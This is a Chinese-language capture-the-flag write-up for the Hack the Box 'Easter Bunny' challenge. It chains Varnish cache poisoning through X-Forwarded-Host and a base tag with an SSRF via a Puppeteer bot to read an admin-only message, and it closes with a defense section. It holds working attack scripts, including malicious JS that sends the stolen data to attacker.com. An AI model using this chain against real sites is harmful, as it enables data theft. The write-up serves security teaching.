Hack the Box——easter-bunny
字数 1637 2025-08-11 23:05:55
Hack the Box Easter Bunny 漏洞利用教学文档
0x00 题目概述
这是一个关于缓存投毒(Cache Poisoning)和服务器端请求伪造(SSRF)结合的CTF挑战,通过利用Varnish缓存服务和Express应用的配置漏洞,最终获取被隐藏的flag。
0x01 环境分析
关键API端点
-
静态资源:
/static/main.js/static/viewletter.js/letters?id=[id]
-
API端点:
POST /submit- 提交新消息- 请求体:
{"message": ""} - 返回:
{"message": id}
- 请求体:
GET /message/:id- 获取消息- 返回:
{"message": id, "count": count} - 特殊: id=3时返回401(需要管理员权限)
- 返回:
关键发现
/message/3返回401错误,提示flag可能在此- 需要管理员权限(
isAdmin)才能访问隐藏消息
0x02 源码审计关键点
1. 模板注入点
router.get("/letters", (req, res) => {
return res.render("viewletters.html", {
cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`
});
});
req.hostname可通过X-Forwarded-Host头控制- Express配置了
app.set('trust proxy', process.env.PROXY !== 'false') - 模板引擎过滤了
"和<>,XSS不可行
2. Puppeteer 访问机制
router.post("/submit", async (req, res) => {
const { message } = req.body;
if (message) {
return db.insertMessage(message)
.then(async inserted => {
try {
botVisiting = true;
await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
// ...
- 提交消息后会通过Puppeteer访问新创建的消息
- 访问地址为
http://127.0.0.1/letters?id=[new_id]
3. 管理员验证机制
const isAdmin = (req, res) => {
return req.ip === '127.0.0.1' && req.cookies['auth'] === authSecret;
};
- 只有来自127.0.0.1且拥有正确auth cookie的请求才是管理员
4. Varnish 缓存配置
sub vcl_hash {
hash_data(req.url);
if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}
return (lookup);
}
- 缓存键为
req.url+req.http.host - 可通过修改Host头影响缓存
5. Base标签利用
<base href="{{cdn}}" />
- 控制cdn变量可改变页面所有相对路径的基准URL
- 可重定向静态资源请求到攻击者服务器
0x03 攻击思路
-
缓存投毒:
- 通过伪造
X-Forwarded-Host头污染缓存 - 使
/letters?id=[id]页面的<base>标签指向攻击者服务器
- 通过伪造
-
控制静态资源:
- 当Puppeteer访问被污染的页面时,会从攻击者服务器加载JS
- 在恶意JS中注入获取
/message/3的逻辑
-
数据回传:
- 让Puppeteer将获取到的flag发送到攻击者控制的端点
0x04 详细攻击步骤
1. 搭建恶意服务器
使用Flask搭建一个简单的恶意服务器:
from flask import Flask, request
app = Flask(__name__)
# 恶意JS文件
@app.route("/static/viewletter.js")
def malicious_js():
return """
const get_msg = fetch("http://127.0.0.1/message/3")
.then(response => response.json())
.then(data => {
msg = data.message;
loadLetter();
// 将数据发送到攻击者服务器
fetch("http://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data)));
});
const loadLetter = fetch(`/message/${msg}`);
get_msg();
"""
2. 缓存投毒
import requests
def poison_cache(target_id):
url = f"http://target.com/letters?id={target_id}"
headers = {
"Host": "127.0.0.1",
"X-Forwarded-Host": "attacker.com"
}
response = requests.get(url, headers=headers)
if "attacker.com" in response.text:
print("[+] Cache poisoned successfully")
3. 触发Puppeteer访问
def trigger_visit():
# 获取当前消息计数以预测下一个ID
current_count = requests.get("http://target.com/message/1234").json()["count"]
next_id = current_count + 1
# 先投毒缓存
poison_cache(next_id)
# 然后提交新消息触发Puppeteer访问
requests.post("http://target.com/submit", json={"message": "test"})
4. 完整攻击流程
- 确定下一个将创建的message ID
- 对该ID对应的
/letters页面进行缓存投毒 - 提交新消息触发Puppeteer访问
- Puppeteer加载被污染的页面,从攻击者服务器获取恶意JS
- 恶意JS以localhost身份访问
/message/3并回传数据
0x05 防御措施
-
缓存配置:
- 不要信任用户提供的Host头
- 在Varnish中限制可缓存的Host
-
Express应用:
- 谨慎设置
trust proxy - 对
req.hostname进行严格验证
- 谨慎设置
-
Puppeteer使用:
- 限制Puppeteer访问的URL范围
- 禁用不必要的功能(如执行外部JS)
-
Base标签:
- 对用户提供的URL进行严格验证
- 考虑使用固定域名而非动态生成
0x06 总结
这道题目展示了缓存投毒与SSRF结合的强大威力,关键点在于:
- 利用
X-Forwarded-Host控制req.hostname - 通过
<base>标签重定向资源请求 - 利用Puppeteer的本地访问权限获取敏感数据
- Varnish缓存机制的可预测性
这种攻击在现实中可能导致大规模的用户数据泄露或XSS攻击,需要开发者高度重视相关配置的安全性。